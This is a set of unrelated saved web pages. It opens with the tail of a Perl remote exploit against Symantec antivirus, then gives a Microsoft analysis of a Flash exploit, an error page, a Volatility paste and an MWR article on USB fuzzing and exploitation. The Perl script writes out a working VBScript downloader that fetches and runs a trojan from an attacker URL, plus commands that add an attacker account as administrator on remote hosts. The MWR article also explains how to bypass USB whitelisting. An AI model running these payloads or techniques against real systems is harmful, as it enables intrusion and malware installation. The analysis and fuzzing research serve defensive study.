    print "-a2 IS ADDUSER BY NAME\n";
    print "-t IS TEST\n";  
    print "-d IS DOWNLOAD AND EXEC, EXE FILE MUST NOT BE DETECTABLE BY SYMANTEC AV\n";
    print "Example: perl xpl.pl -a www.symantec.com r00t p455\n";
    exit;
}
 
print "\n*** Symantec AV Remote Exploit\n*** by Kingcope in 2009\n\n";
if ($#ARGV < 1) {
usage();
}
$specify = $ARGV[0];
$target = $ARGV[1];
 
if ($specify eq "-d" && $#ARGV != 2) {
    usage();   
}
 
if ($specify eq "-a" && $#ARGV != 3) {
    usage();   
}
 
if ($specify eq "-a2" && $#ARGV != 4) {
    usage();   
}
 
if ($specify eq "-t" && $#ARGV != 1) {
    usage();   
}
 
$|=1;
 
if ($specify eq "-d") {
$trojanurl = $ARGV[2];
 
$getcred[0] = "echo Function SaveBinaryData(FileName, ByteArray) > c:\\getcreds.vbs";
$getcred[1] = "echo Const adTypeBinary = 1 >> c:\\getcreds.vbs";
$getcred[2] = "echo Const adSaveCreateOverWrite = 2 >> c:\\getcreds.vbs";
$getcred[3] = "echo Dim BinaryStream >> c:\\getcreds.vbs";
$getcred[4] = "echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> c:\\getcreds.vbs";
$getcred[5] = "echo BinaryStream.Type = adTypeBinary >> c:\\getcreds.vbs";
$getcred[6] = "echo BinaryStream.Open >> c:\\getcreds.vbs";
$getcred[7] = "echo BinaryStream.Write ByteArray >> c:\\getcreds.vbs";
$getcred[8] = "echo BinaryStream.SaveToFile FileName, adSaveCreateOverWrite >> c:\\getcreds.vbs";
$getcred[9] = "echo End Function >> c:\\getcreds.vbs";
$getcred[10] = "echo Sub HTTPDownload( myURL, myPath ) >> c:\\getcreds.vbs";
$getcred[11] = "echo Set objHTTP = CreateObject( \"WinHttp.WinHttpRequest.5.1\" ) >> c:\\getcreds.vbs";
$getcred[12] = "echo objHTTP.Open \"GET\", myURL, False >> c:\\getcreds.vbs";
$getcred[13] = "echo objHTTP.Send >> c:\\getcreds.vbs";
$getcred[14] = "echo SaveBinaryData myPath, objHTTP.ResponseBody >> c:\\getcreds.vbs";
$getcred[15] = "echo End Sub >> c:\\getcreds.vbs";
$getcred[16] = "echo HTTPDownload \"$trojanurl\", \"c:\\installer.exe\" >> c:\\getcreds.vbs";
$getcred[17] = "echo Set shell = CreateObject(\"WScript.Shell\") >> c:\\getcreds.vbs";
$getcred[18] = "echo Set objEnv = shell.Environment(\"Process\")  >> c:\\getcreds.vbs";
$getcred[19] = "echo Set objEnv2 = shell.Environment(\"User\")  >> c:\\getcreds.vbs";
$getcred[20] = "echo Set objEnv3 = shell.Environment(\"System\")  >> c:\\getcreds.vbs";
$getcred[21] = "echo sysRoot = objEnv(\"systemroot\") >> c:\\getcreds.vbs";
$getcred[22] = "echo userProfile = objEnv(\"userprofile\") >> c:\\getcreds.vbs";
$getcred[23] = "echo objEnv2(\"Path\") = sysRoot ^& \";\" ^& sysRoot ^&\"\\system32;\" ^& sysRoot ^& \"\\temp;\" ^& sysRoot ^& \"\\wbem\" >> c:\\getcreds.vbs";
$getcred[24] = "echo objEnv3(\"Path\") = sysRoot ^& \";\" ^& sysRoot ^&\"\\system32;\" ^& sysRoot ^& \"\\temp;\" ^& sysRoot ^& \"\\wbem\" >> c:\\getcreds.vbs";
$getcred[25] = "echo objEnv2(\"TEMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[26] = "echo objEnv2(\"TMP\") =  sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[27] = "echo objEnv3(\"TEMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[28] = "echo objEnv3(\"TMP\") =  sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[29] = "echo shell.CurrentDirectory = \"c:\\\" >> c:\\getcreds.vbs";
$getcred[30] = "echo shell.Run Chr(34) ^& \"c:\\installer.exe\" ^& Chr(34), 1, false >> c:\\getcreds.vbs";
$getcred[31] = "echo Set shell = Nothing >> c:\\getcreds.vbs";
 
$commandx = $getcred[0];
for ($k=1;$k<=31;$k++) {
    $commandx .= " && ".$getcred[$k];
}
 
print "UPLOAD AND RUN KIT .. ";
rce($target, "$commandx && c:\\getcreds.vbs");
sleep(3);
print "\n";
print "DELETE KIT FETCHER .. ";
rce($target, "del c:\\getcreds.vbs");
print "COMPLETED....";
}
 
if ($specify eq "-a") {
$getcreds[0] = "echo strComputer = \".\" > c:\\getcred.vbs";
$getcreds[1] = "echo strSID = \"S-1-5-32-544\" >> c:\\getcred.vbs";
$getcreds[2] = "echo Set objWMIService = GetObject(\"winmgmts:\\\\\" ^& strComputer ^& \"\\root\\cimv2\") >> c:\\getcred.vbs";
$getcreds[3] = "echo Set objSID = objWMIService.Get(\"Win32_SID='\" ^& strSID ^& \"'\") >> c:\\getcred.vbs";
$getcreds[4] = "echo groupname=objSID.AccountName >> c:\\getcred.vbs";
$getcreds[5] = "echo Set objNetwork = WScript.CreateObject(\"WScript.Network\") >> c:\\getcred.vbs";
$getcreds[6] = "echo Set objGroup = GetObject(\"WinNT://\" ^& objNetwork.ComputerName ^& \"/\"^&groupname^&\",group\") >> c:\\getcred.vbs";
$getcreds[7] = "echo Admin_Name = WScript.Arguments(0) >> c:\\getcred.vbs";
$getcreds[8] = "echo Path = \"WinNT://\" ^& objNetwork.ComputerName ^& \"/\" ^& Admin_Name >> c:\\getcred.vbs";
$getcreds[9] = "echo If Not objGroup.IsMember(Path) Then  >> c:\\getcred.vbs";
$getcreds[10] = "echo objGroup.Add(Path) >> c:\\getcred.vbs";
$getcreds[11] = "echo End If >> c:\\getcred.vbs";
$getcreds[12] = "echo Set objGroup = Nothing >> c:\\getcred.vbs";
$getcreds[13] = "echo set objNetwork = Nothing  >> c:\\getcred.vbs";
 
$username = $ARGV[2];
$password = $ARGV[3];
 
$commandxx = $getcreds[0];
for ($k=1;$k<=13;$k++) {
    $commandxx .= " && " . $getcreds[$k];
}
 
print "RUN ADD USER .. ";
rce($target, "net user $username $password /add");
sleep(3);
print "\n";
print "RUN ADD TO GROUP .. ";
rce($target, "$commandxx && c:\\getcred.vbs $username && del c:\\getcred.vbs");
}
 
if ($specify eq "-a2") {
     
$username = $ARGV[2];
$password = $ARGV[3];  
$admin = $ARGV[4];
     
print "RUN ADD USER .. ";
rce($target, "net user $username $password /add && net localgroup $admin $username /add");
}
 
if ($specify eq "-t") {
print "RUN TEST $target .. ";
rce($target, "echo ELITE .");
}
// sebug.net [2010-02-05] 

﻿http://blogs.technet.com/b/mmpc/archive/2014/02/10/a-journey-to-cve-2013-5330-exploit.aspx 
A journey to CVE-2013-5330 exploit - Microsoft Malware Protection Center - Site Home - TechNet Blogs
Created:
2/18/2014 9:51:44 AM
Updated:
2/18/2014 9:51:44 AM
Author:

Tags:
Exploit howto


A journey to CVE-2013-5330 exploit
msft-mmpc
10 Feb 2014 2:40 PM 
​Recently, we've seen a few attacks in the wild targeting a patched Adobe Flash Player vulnerability (CVE-2013-5330). This vulnerability was addressed with a patch released by Adobe on November 12, 2013. On the Windows platform, Flash Player version 11.9.900.117 and earlier, are vulnerable.
We had a chance to analyze how the attacks work and noted some interesting details from our investigation.
The malicious file has been distributed as a .swf file using obfuscator secureSWF, which has been designed as a “one-stop” attack. It contains the vulnerability’s trigger, the heap spray and shellcode, and an encrypted PE file (see figure 1).


Figure 1: The malicious .swf file
This .swf exploit can be hosted on a web server and run when the webpage is visited. When the .swf is loaded, the vulnerability is triggered. The .swf successfully bypasses the validation of memory range and is able to access arbitrary locations. It builds a deliberated crafted VTABLE (figure 2) and uses it to pass control to a controlled location, which contains the “Shim” code (a small piece of code before the shellcode is executed), as shown in figure 3.


Figure 2: Crafted VTABLE for control transfer


Figure 3: The "Shim” code
The “Shim” code calls VirtualProtect() to make the shellcode memory area writable and executable. After the VirtualProtect() call, the control is passed to the shellcode. The shellcode is short and pithy – only 140 bytes (see figure 4).
Interestingly, the shellcode doesn’t contain the code to resolve the API addresses. Instead, the API addresses are resolved by the ActionScript (see figure 5 - the placeholders for the API addresses are marked as red).
The shellcode simply drops a PE file (already decrypted by .swf) to the %temp% directory and loads it with LoadLibrary() call. The dropped PE file (SHA1: 05446C67FF8C0BAFFA969FC5CC4DD62EDCAD46F5) is detected as TrojanSpy:Win32/Lurk. The telemetry for this file is showm in figure 6.


Figure 4: Short and sweet “shellcode” 


Figure 5: The ActionScript used to generate the shellcode


Figure 6: TrojanSpy:Win32/Lurk infected machines
We have received reports that an iframe loading this malicious .swf file has been injected to some clean or benign websites. Visiting these websites with an outdated version of Flash Player, can lead to a compromise of the machine.
If you're using Flash Player version 11.9.900.117 or earlier, you need to update your Flash Player now to be protected against these attacks.
Chun Feng 
MMPC
﻿http://www.youtube.com/watch?v=aTwMZR1Vjg4 
500 Internal Server Error
Created:
8/1/2011 7:53:04 AM
Updated:
8/1/2011 7:53:04 AM
Author:

Tags:
LOLZ


500 Internal Server Error
Leider ist etwas schiefgegangen.

Eine Spezialeinheit hat die Mission übernommen, das Problem zu lösen.
If you see them, show them this information: 
kvczEUqHEnbakYrLiDPcCbideRCNt4RBZgn87XIY_NRtCAgQFkAnuokUQs9_
jxTQ31w7b-U-hhlULh8ikv9WDXJXy9f82fZp_dcsGWJmlzNFlm1_b6SiWdG2
0aHRFmjRsQyyBTu_rOTDrltg0m7aAOauo0dCoz97r1lhh0ILqt6R5kscPN-v
UazUEMRWE1VsjmDJDOYX7kj3xc249rUkDEOCXRlORA2BS8fvGwvAWgTBSc3Q
3TeX-xUpPH_bMHRBAMNnftc8VVxwgHTcScoM8hovRWmzODRosUPooZ5lLcmN
KpXvQACcTezMwMHVyjyZBgZIntF6kjU8Lmi0YBR5gK-5G5TA2KwOe1v6ZCIk
Zgzdnh09h_Gsa5CyzOTBCe1FIJAvvA-0-Kubkm6MAP80QxBKuDf9aWAdll_Y
7zZUpq50jjpiehJiiH9xPaEli8868L99rn7a7m3YyH60c8DT9KQkPt2ESMEU
1qvgTVc8AF_oMe81QvYBcy5mvzASw8igD8GbImSKr3zMMpLtjQU8ZamCiA5y
1exO-C-f1H_-ydBuPJo_1GP4nUt_-TOgVOCqzsV-SzPNZeOnNBTd_Bo0U3Jr
98JWtJ994lLcc5bNvAZX1bzsITLDlH050lIC4NdVzhoIGRTz2e-PQPKPTZRN
7rvcvjcV6zbRrHeQIfuROhRbsnyV4YhdF9hszrAYx23Ho4h6iOMgQkyvH4BF
ZxS-QpNSi6Uk1uFDPRvuAt1HwkZIHRdmeLTzu_vxYN4RljLTxHNvkaZisIOa
t1pvZOoRNO_lKm-QG5yYBnTzqfQ8D3mTBOIKLiCm44Vf7AXcRhatrIsoN1in
Au0V8xwErum0Gex8lcfz3N2m2v3pM1JWRzNxYMXil1HdLgh0yuLbU5-G0sGv
ZAd5ppcEyfX8hqJsc6g0pv2Gd4EcZTsZ1QmnuCXjj40VE7eN1P2jT4k7AnDC
jAs8ySD7Mb8dDoCGnv_tuCm0B2CbfIhLLgGkoGjF490N43KDBI4f8Sp1WquC
0tOrQDYP9CpVSwpa8TZDNUMmoQh962StueTsBW5cTsUzPrbVahLWPfBxjo4N
2tUum-QQMZzvkZd4J40JQKu3Cvz3BKfTqgf030Zbs4bHj4UnQjDm-1sZcWKm
x9-s8pmICQISUawnaqfiaxsgokGUOaY4Oh38itSr6gKjeIpm6BXQo2VPPfDo
dX_u65LBoJ-fKV0u216hePH8co2Sw5Bnxj_qQIFbglUMNer5AK0NcchlIKWu
pVoNPWykuO19koxkbmILK89OBZ9PgCPtrjuGog-V2Z1MnBZKllYvA_SmbewV
NkLVQ6T8X2SxuKFGF9hyqGabyVCVWSgmjdJXEtgm9gPlrS03a1Rnl-HsL-ME
NjacqaMC0Eep91f2Srzxw1ThaQicZM8_bMZKtCoIDytAS7gH-fMG0x2w5PJS
-Ma5R08xACqSITiXmAMlVoRM-BsLQKlP64kiiETZjCvnGl2k-oX5Wcdv5y0U
CQIy6vbuRat5F3xrLfQGKF9hnmuuRFXjptA654KDPLsF7MPseOYORkl4p07N
rNZVyX7tvmMJ3-bpnpGKGwvRtmwZdfjhcVQg10-MsyhZ3eoTE6g4okVx5JE7
2i3BzkrhD1GdkORXu16t_mzY3J-xoYyyLdZp-vOoZzJlSHs6JFrXdAT4w8p3
jEs6Q-sE9kqh-pLBdkWP3MmTGWDhxw6V0Ueoltytu2-_OsGDjimM_Wd_WIow
veOY3vAVqDVYP7-FFrCnkuEelCnJ--_8b-txC32l2ne-vhp-pi727Mjnp_fr
oV479dTMwFzYHqUjSrm1J0XAYcrNTPP0CB54GRzN4gYFQvhB1VjF5IOyX23L
3ss1T3_nuwBFRYX1pkt8fwnMqZQdZh7B-Kbjp4rL9w0F6pytAp1L5DDjfIJ-
5184UIhJ1AJibYyx7w2ZH6x_dn9geVLWdh4lY487vQzPl8wLT2vhGH63ALcE
prwlBo7-CazjrvxyIWJVp01BFghDz6AoieeckN_aexIHWcvA8KIcP0Sbo8pL
OV9wTqYhWOl8he4S5wEwATopRP114Cyr7w0Tj-L91gBoEtMTs5G4IACnQTuh
XqRsS0vLcJlQrJuXf9jArRu4GgNAMowWLRDsmkyxGqGFMGZFhjkIdGG_JYcU
7T_-wVuYyMcBzrO_kXiomQ3kZnR2-v-ymHlR_Ne3MJWFikF1xCc7AsARKK_L
NW0-SUyBv63njQfx5k-N2eWWxDzoXijLQ8UKjEoAWjpFFPhWZVC_G3iTBbxm
kKQqtBGOHF7bcXtrd1U56awXa-DZ1N1rHYKgnjIP1ABrsq2QAo5HylnDaNZO
fgAjJCsPg_w-MKdH24Sgk6vOvdpqGq8x4c0OT6ldDe70zGMANgFCj0CeGQcq
lAmdzXfGdTV4BxJM3bGUerOv49DD-ELh43N40fu8GnhGhLwSLN3VskIUq8-i
_8DYj0Sa-4lZ_bt9PIoVGvRo33-50nPRAE282SsETOFYKyf5w0EJCdfRecmZ
KoAwCCJFeRw3DvOAy_IKq4ml5fFuuU1LxTPEv4SOBgcH5I5b9d4jIJfIQcc1
HsZqNRntJbWXuJJ_-aX-v5VHzkin3ecwJL8jFx91jLXgj6DsbTYkxPSYUlxf
yR_vfViYAcefm1_bqykrooGNGvezT6icOeSzSyVSE3sW9rp_MYiqGmPZ-Vah
S_z_IIoGn8jIQptwahfOejE_mGWolXlLApW8KEx612qi8_465wj-62NZ0Rex
AKQxdoYwHkWV1R9p2p5-vgBkKz-I0Ec6tU3vEqh0HTG0AZA7h_FUf4qYu5Au
2sYlbvhqz9Zh5yi4Uft_NTVr90KGXsOM-8zi20WZeyv2OPAq4nZ3hiZNhXMi
7alP7Vn97wJBXRlfZnH7cT1KeLESxMavV2RMooTyLvV6D1Umae3viYq4qzIv
RvccMm90XKCY3iPqEk7cSICtZUaeOdAFxt3mchBGhb46QkH8y8nQ3drTQdF4
YCernWrMdz6V26xE6nt8R5t-IGjtGWjimhOR676UPD1T2sUh7wTNEM-Yo4Z_
wizNm9ESVPfFyePiw_MwUeF63NOYtWf3pgdAG2CVAaBPUIn8E6ZBTiuiE4zV
P_CuU9WW9y5b1dEjdP06y9TxrXA8t6iiOOEufovEDJRyFls27aOCZ1P3TGb9
XrRv278NLB4nyFzWGDjWz7z0y_98Md3cm1_RX20ppspSNEVsZEhI9maz6LAy
dFpUvXGGy7acd5eDO0EqfheAYIm7SS2iruZInO_L80h8gDHTDKem4LcMCr8p
IbI_MOXshhuYU9uP0_59QiNoXaXZ2tBMnOdW5we_LFbZ71EJowjWK5Mer33-
0W-gkZjw3PygP8aL8IVSi5H-XEG4SZfowp8_ijP_VRpOA5cvQ2giRjL6nlqi
4PFM5JtgUPt34z30N1HPZ4nVFeeZx7hm1BHaS_uu11Z9FW42zyzI_LQFt5mD
QpEn8i1p
﻿http://pastebin.com/DNKxEvZX 
./volatility newmicrodo -f ~/q - Anonymous - DNKxEvZX - Pastebin.com
Created:
8/12/2010 4:56:59 PM
Updated:
8/12/2010 4:56:59 PM
Author:
wishi
Tags:



1. ./volatility newmicrodo -f ~/qemu_haiku.img -n "[ mem.alloc(1024) ]" -e haiku.env -m ../iferret-logging-new/haikups3-32607.pkl -i 'def f(x):\n\tfor i in unpack("<%dI" % (len(x)/4), x): print i'
2. Time taken: 4810.914040 ms
﻿http://labs.mwrinfosecurity.com/notices/usb_fuzzing/ 
/var/log/messages - MWR Info Security, Basingstoke, Hampshire, UK.
Created:
7/15/2011 2:21:37 PM
Updated:
7/15/2011 2:40:38 PM
Author:

Tags:
USB Fuzzer


USB Fuzzing for the Masses

We began our USB research at MWR Labs approximately 3 years ago with the intention of quantifying risk associated with the use of this type of technology. The primary focus of this research was to attack the software that handles USB input, such as USB device drivers, which are implemented within commonly used operating systems. We wanted to understand whether there was a problem that our clients should be worrying about and if so how big it was. We also knew that it was important to detect and report exploitable vulnerabilities and not just denial of service conditions which are clearly not always as significant when you have a degree of physical access.

Over the past 3 years we have developed the methods we use for identifying vulnerabilities in USB software and have used these to identify a number of vulnerabilities in different platforms, including both Linux and Microsoft Windows. More importantly, we identified that any environment where a USB port is exposed should be reviewed as there are lots of potential vulnerabilities lurking below the surface of any Operating System, just waiting to be found. We have also realised that this isn't an area of research that we can investigate on our own and a wider effort within the community is required. Therefore, we have decided to share some of the methods and techniques that we have successfully used to discover and exploit vulnerabilities in USB software so that a wider effort can be utilised to continue research in this area.
Fuzzing USB Software
The use of fuzzing techniques is very efficient for vulnerability discovery when source code is not available and when testing is needed from a black box perspective. Throughout this research, we have looked at different approaches for fuzzing USB software, from a bizarre USB over IP approach (that we don't discuss here), to a virtualised toolkit and a USB hardware fuzzer. In previous presentations on this subject we have been keen to stress that the talk was not specifically about designing and implementing USB fuzzers; however, we have now decided to share some of the work we have already completed in this area. The benefits and weaknesses of each of these approaches are described here alongside some of the findings that have been publicly disclosed up to this point.
Qemu Fuzzing Approach
For this fuzzing technique, Qemu is used to run the environment which is to be subject of the fuzzing. Qemu is an open source machine emulator and virtualiser, which allows the emulation of USB devices from the Host system to the guest system [1]
In this set up, the Host system continuously emulates malicious USB devices within the target system (the guest) which is running the OS which is currently being tested.

The emulation of devices can be done in Qemu by accessing the guest system control console via raw tcp sockets:
    -monitor tcp:192.168.1.1:5555,server,nowait
Devices can then be emulated by sending commands to this console:
    usb_add fuzz-device 
“fuzz-device” is the emulated USB device, which is defined in Qemu in the following locations:
· vl.c - use for 'usb_add' in control console
· hw/usb.h - header file
· hw/usb-fuzz.c - emuled device
"usb-fuzz.c" needs to be specifically programmed to meet your fuzzing requirements and for the transmission of USB descriptors.  This is where we also need to specify if the fuzzer is targeting a specific device driver or if it will run through multiples drivers, e.g. a list of all USB drivers available on Windows 7. A good starting point would be to based your fuzzer in one of the existing devices provided by Qemu, such as "usb-wacom.c".
The demo included here shows the emulation of a USB device using Qemu that triggers a segmentation fault. The example used is based on the Auerswald Linux device driver buffer overflow vulnerability identified by MWR in Oct 2009 [2]
Seg Fault USB Emulation Demo
The diagram below illustrates the Qemu fuzzing process:


The main advantages of this approach are:
· Fast and Powerful. As it is software based it is possible to run multiple instances and speed up the process by adding computational power.
· Low Resources Required. Qemu is open source and freely available and only some development is required to get a fuzzer running.
· Effective Debugging. Fuzzers can be implemented that are verbose in their output by simply adding print outs into the fuzzer code, recording details of data that is submitted and the responses that are received. This is particularly helpful when analysing crashes that are identified during the fuzzing process.
· Portable and Versatile. As it is software based it is easy to add functionality, make changes and adapt fuzzer to different target platforms. Additionally, it is possible to integrate with existing fuzzing engines for the generation of test case data, such as Peach or Sulley.
· Real World Deployment friendly. Where an organisation has a specific build or system that requires testing it can be converted to a Virtual Machine and loaded directly into the test harness providing the organisation with assurance about the robustness of their deployment.
The limitation of this approach would be encountered when facing a system that cannot be run on Qemu. If this is the case, you may be required to look for other alternatives, such as building a USB hardware fuzzer.
USB Hardware Fuzzer
The Implementation of a hardware based fuzzer was the first thing that we thought about when we were faced with the challenge of fuzzing USB software for a client with a "black-box". “Something” that you plug into a system and sends random USB data seemed to be the most rational option as our purpose was to reproduce USB traffic. Plus it seemed much cooler!
Over the course of the research project we have come to realise that a lot of limitations exist with this approach and although developing a hardware fuzzer is the only route to go down in very specific testing scenarios, the following aspects should be considered before building your fuzzer, particularly when implementing your fuzzer in a microcontroller.
· There is limited visibility on the data that is sent and received (ie the verbosity of the fuzzer), subsequently affecting the effort required for debugging and crash analysis
· Computational power limitations in the fuzzing hardware, affecting the speed of performing the fuzzing
· Computational power limitations in the fuzzing hardware, affecting the generation of USB test case data
· It is more difficult to integrate with existing fuzzing engines for the creation of test cases
Although it is possible to overcome some of these limitations by implementing the fuzzer in a more powerful system and by adding extra functionality, this should be assessed beforehand, as the effort to build this may not be time and cost effective for the situation you are in. Our advice is to look at the other options first before going down this route!
In the case where you are facing a system that you don’t have enough technical specifications to review fully or even when you have but it is not possible to run the OS in Qemu, the only method to send malicious USB data to the target system may be using a hardware based fuzzer. In such a “black box” scenario, automatically sending malicious USB data is the first phase of the fuzzing process and you will face other challenges to achieve your objectives, such as the detection and logging of crashes and the restart of the target OS or software in the case of a crash or when an anomaly has been identified.  Other challenges that you may be facing are the debugging of identified crashes and the development of exploit code in a scenario with such limited visibility of the internals of the target system.
Nevertheless, when it comes to the exploitation phase you will be required to develop you own USB hardware device in order to trigger the vulnerability that you have discovered. See the “Exploitation” section for details on how to exploit USB vulnerabilities.
Crash Debugging
So if we have implemented our fuzzer correctly we WILL have a bunch of crashes and its now time to do some debugging to find out which ones are exploitable. There are different debugging approaches that can be taken and some of these are explained here.
KGDB – Serial Port
This technique can be used on Linux systems for debugging issues in USB device drivers. For our debugging environment we have KDGB installed and two computers connected via the serial port. KGDB is a Linux kernel debugger based on GDB [3]
The kernel to be debugged runs on the target machine, into which the USB hardware with the test data that triggers the issue is plugged. GDB runs on the development machine and a serial line is used by GDB to communicate to the kernel being debugged.
The diagram include below illustrates the set up of the environment:
 

The demo included here shows the debugging of the Auerswald Linux device driver buffer overflow vulnerability [2]
Kernel Debugging Demo
Qemu – USB emulation
This technique can be used on Linux and Windows systems for debugging issues in USB drivers and other USB software. For our debugging environment we will run our target system in Qemu with a debugger, such as GDB or WinDbg attached to the target software, and then the USB device that triggers the issue will be emulated in the target system.
The example included below was debugged using the techniques described here. This example is based in a vulnerability identified by MWR in usbhub.sys on Windows XP Service Pack 2 in the function:
      ; int __stdcall USBH_GetSerialNumberString(PDEVICE_OBJECTDeviceObject, int, int, __int16, int)_USBH_GetSerialNumberString@20 proc near
This function requests the SerialNumberString string descriptor from the USB device using the SBH_SyncGetStringDescriptor function. Data returned from this function is then used for a memory allocation and a subsequent copy operation. The length of the allocation can be 0 as this data is under control of the attacker.
The copy operation is implemented as a sequence of "rep movsb" operations:
      movzx   ecx, byte ptr [ebx]
      mov     esi, ecx
      shr     ecx, 2
      xor     eax, eax
      mov     edi, edx
      rep stosd
      mov     ecx, esi
      and     ecx, 3
      rep stosb
      movzx   ecx, byte ptr [ebx]
      dec     ecx
      dec     ecx
      mov     eax, ecx
      shr     ecx, 2
      lea     esi, [ebx+2]
      mov     edi, edx
      rep movsd
      mov     ecx, eax
      mov     eax, [ebp+arg_4]
      and     ecx, 3
      rep movsb
      mov     ecx, [ebp+arg_8]
      mov     [eax], edx
      movzx   ax, byte ptr [ebx]
      mov     [ecx], ax
      jmp     short loc_1989D
For the third "rep movsd" the length in "ecx" has 2 subtracted from it which will result in a buffer overflow. The subsequent memory can lead to arbitrary code execution.
MWR discovered this vulnerability when testing an embedded device with Windows SP2 installed. Further investigation and communication with Microsoft revealed that this issue did not affect SP3, however SP2 remains vulnerable.
Source Code Review
In situations where you have access to the source code of drivers, always take advantage of this to look for vulnerabilities that may have been introduced at some point within the development lifecycle. A good example of this is the buffer overflow vulnerability in the caiaq USB drivers discovered by MWR in March 2011 [4]
The vulnerability affects the code handling the USB product name in the following drivers:
· /sound/usb/caiaq/audio.c
· /sound/usb/caiaq/midi.c
The affected code is included here for the “audio.c” driver. The vulnerability is in the "strcpy" function shown below, as the product name that the USB device sends (“dev->product_name”) can be larger than the buffer of “dev->pcm->name” and “rmidi->name”, where the data is being copied to (80 bytes).
Source code from /linux-2.6.38/sound/usb/caiaq/audio.c
      int snd_usb_caiaq_audio_init(struct snd_usb_caiaqdev *dev)
      {
      ...
     
              ret = snd_pcm_new(dev->chip.card, dev->product_name, 0,
                              dev->n_audio_out, dev->n_audio_in, &dev->pcm);
      ...

      dev->pcm->private_data = dev;
      strcpy(dev->pcm->name, dev->product_name);
Source code from /linux-2.6.38/include/sound/pcm.h
      struct snd_pcm {
              struct snd_card *card;
              struct list_head list;
              int device; /* device number */
              unsigned int info_flags;
              unsigned short dev_class;
              unsigned short dev_subclass;
              char id[64];
              char name[80];
              struct snd_pcm_str streams[2];
              struct mutex open_mutex;
              wait_queue_head_t open_wait;
              void *private_data;
              void (*private_free) (struct snd_pcm *pcm);
              struct device *dev; /* actual hw device this belongs to */
      #if defined(CONFIG_SND_PCM_OSS) || defined(CONFIG_SND_PCM_OSS_MODULE)
              struct snd_pcm_oss oss;
      #endif
      };
Exploitation
You have now found the vulnerabilities that you WILL find if you look. You now need to implement your exploit code in a microcontroller for use in the real world. There are a different manufacturers and devices you can opt for. From PIC family microcontrollers [5] to Atmel microcontrollers [6], such as the ATUSB162 Micro Controller used for the PS3 jailbreak, and the Arduino board [7] [8]
PIC family microcontrollers are a good starting point for developing your malicious USB hardware device, they are easy to program and there is plenty of information and development kits available for programming your own USB device.
For example the code included below defines the Device descriptor of our USB by modifying the Vendor id and Product id, these specifies the driver that will be loaded when the USB is plugged into the target system.
         const USB_DEVICE_DESCRIPTOR DeviceDescriptor = { 
          sizeof(USB_DEVICE_DESCRIPTOR), /* bLength */
          TYPE_DEVICE_DESCRIPTOR,        /* bDescriptorType */
          0x0110,                        /* bcdUSB USB Version 1.1 */
          0,                             /* bDeviceClass */
          0,                             /* bDeviceSubclass */
          0,                             /* bDeviceProtocol */
          8,                             /* bMaxPacketSize 8 Bytes */
          0xBEEF,                        /* idVendor */                                            
          0x1337,                        /* idProduct */
          0x0000,                        /* bcdDevice */
          1,                             /* iManufacturer String Index */
          0,                             /* iProduct String Index */
          0,                             /* iSerialNumber String Index */
          1                              /* bNumberConfigurations */
      };  
Refer to Microchip Technology Inc. Low Pin Count USB Development Kit User’s Guide for more details of the source code.
For example the code included below defines the String descriptor of our USB by modifying the Vendor id and Product id, these specifies the USB device manufacturer name and product name in human readable format.
      //Manufacturer string descriptor
      ROM struct{BYTE bLength;BYTE bDscType;WORD string[12];}
      sd002={sizeof(sd002),USB_DESCRIPTOR_STRING,
      {
      'M','A','N','U','F','A','C','T','U','R','E','R'
      }};
      //Product string descriptor
      ROM struct{BYTE bLength;BYTE bDscType;WORD string[7];}
      sd003={sizeof(sd003),USB_DESCRIPTOR_STRING,
      {    
      'P','R','O','D','U','C','T'
      }};
For example, if a vulnerability was to be identified in a USB device driver affecting the handling of the String descriptor, we could use the code above to first specify the affected driver and then deliver our shell code in the manufacturer and/or string descriptor. This approach was used for the exploitation of the Auerswald Buffer overflow vulnerability [2]
Bypassing USB Restrictions Software
Software solutions to restrict access to computer systems from unauthorised USB devices are widely used in corporate environments. A number of weaknesses have previously been identified with this software that could allow an attacker to use an unauthorised USB device. These should be considered when reviewing the controls implemented around USB in any environment that relies on this type of technology.
Enumeration is the first phase of communication between a USB device and a computer system. In this phase, information about the device is obtained by the host computer and the USB device drivers that are to be loaded in the host are specified. In this phase of communication, the vendor id (VID) and product id (PID) are also transferred to the host; this information determines the drivers to be loaded and it is also used by the lockdown software to identify the device that has been plugged in.
Many implementations of USB lockdown software use a white listing approach based on the VID and PID of the plugged in device. This mechanism for validating authorised devices has been found to be flawed, as it has been discovered that an unauthorised device could be used with the pre-installed USB drivers by setting the device class type to the desired one (such as HID or mass storage device) and the VID and PID of a white listed USB device.
It has been possible to build USB hardware devices with a VID and PID set to one of the white listed devices but with the class set to a mass storage device, which then bypasses the software security restrictions. This has been observed in multiple software products that are commercially available although these will not be named here. This approach allows the USB validation to be bypassed and an unauthorised USB mass storage device to be used in the environment.
Conclusions
Our USB research project has been running for a number of years now and we have reached a number of conclusions as a result of it:
· USB fuzzing and review is within the reach of security testers and researchers and can be achieved with little investment and resources
· A careful assessment should be made of each scenario you encounter to ensure you use the best approach
· Device driver software across platforms is not as robust as you might hope and there are still many bugs to be found
· The effort required to test, review and prove exploitability of the problems that are out there is considerable and effort is required from researchers through to vendors to address and resolve the problems
References
[1] Qemu
http://wiki.qemu.org/Main_Page

[2] Linux Auerswald USB Device Driver Buffer Overflow
http://labs.mwrinfosecurity.com/files/Advisories/mwri_linux-usb-buffer-overflow_2009-10-29.pdf

[3] KGDB
http://kgdb.linsyssoft.com/

[4] Linux Kernel caiaq USB Drivers Buffer Overflow
http://labs.mwrinfosecurity.com/files/Advisories/mwri_caiaq-usb-drivers-buffer-overflow_2011-03-07.pdf

[5] PIC microcontrollers
http://www.microchip.com/

[6] Atmel
http://www2.atmel.com/

[7] Arduino
http://www.arduino.cc/

[8] Physical Computing, Virtual Security: Adding the Arduino Microcontroller Development Environment to Your Security Toolbox
http://defcon.org/html/defcon-18/dc-18-speakers.html#Honeywell
Further Reading
Defcon 17: Fun with Plug & 0wn
http://labs.mwrinfosecurity.com/files/Publications/mwri_usb-attacks-defcon17_2009-08-02.pdf

T2'09: USB Attacks: Fun with Plug and 0wn
http://labs.mwrinfosecurity.com/files/Publications/mwri_t2-usb-fun-with-plug-and-0wn_2009-10-29.pdf

Evaluating Security Aspects of the Universal Serial Bus
http://www.informatik.uni-hamburg.de/SVS/archiv/slides/09-01-13-OS-Jodeit-Evaluating_Security_Aspects_of_USB.pdf
